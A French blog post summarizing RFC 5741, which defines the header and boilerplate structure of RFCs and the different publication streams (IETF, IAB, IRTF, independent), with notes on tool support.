Donc, dans sa section 2, notre méta-RFC rappelle que, non seulement tous les RFC ne sont pas des normes (RFC 1796), mais que tous ne sont pas des documents issus de l'IETF, qui n'est qu'une voie parmi d'autres (quoique la plus prolifique). Ainsi, un RFC peut très bien être publié sans que l'IETF n'aie pu donner un avis sur des points comme la sécurité ou le contrôle de congestion, par le biais de procédures comme le IETF Last Call ou l'examen par l'IESG.

La section 3 liste les éléments qui forment la structure d'un RFC. Il y a l'en-tête général (section 3.1) qui, pour notre RFC, est :

Internet Architecture Board (IAB)                         L. Daigle, Ed.
Request for Comments: 5741                               O. Kolkman, Ed.
Updates: 2223, 4844                                          For the IAB
Category: Informational                                    December 2009

indiquant qu'il est issu de la voie IAB, qu'il porte le numéro 5741, qu'il est de la catégorie « Pour information » (les catégories sont décrites dans le RFC 2026), etc. Les autres voies sont IETF, IRTF et « soumission indépendante ».

Après cet en-tête vient un paragraphe (section 3.2.2) qui décrit clairement la voie par laquelle ce RFC est passé. Par exemple, pour une soumission indépendante, le texte (qui est sujet à évolution, en synchronisation avec la définition des voies) actuel est « This is a contribution to the RFC Series, independently of any other RFC stream. The RFC Editor has chosen to publish this document at its discretion and makes no statement about its value for implementation or deployment. ».

Je ne reprends pas ici tous les éléments, qui sont décrits dans cette section 3. Notons simplement le copyright, issu des RFC 5378 et RFC 4879, et l'ISSN des RFC, 2070-1721.

Question mise en œuvre, les programmes XSLT de Julian Reschke sont apparemment à jour pour ce RFC (voir l'annonce officielle). Par contre, xml2rfc ne semble pas encore adapté. (Rappelez-vous que, depuis, ce RFC a été remplacé par le RFC 7841.)


Téléchargez le RFC 5741


L'article seul

Articles des différentes années : 2024  2023  2022  2021  2020  2019  2018  Précédentes années

Syndication : Flux Atom avec seulement les résumés et Flux Atom avec tout le contenu.

Un article de ce blog au hasard.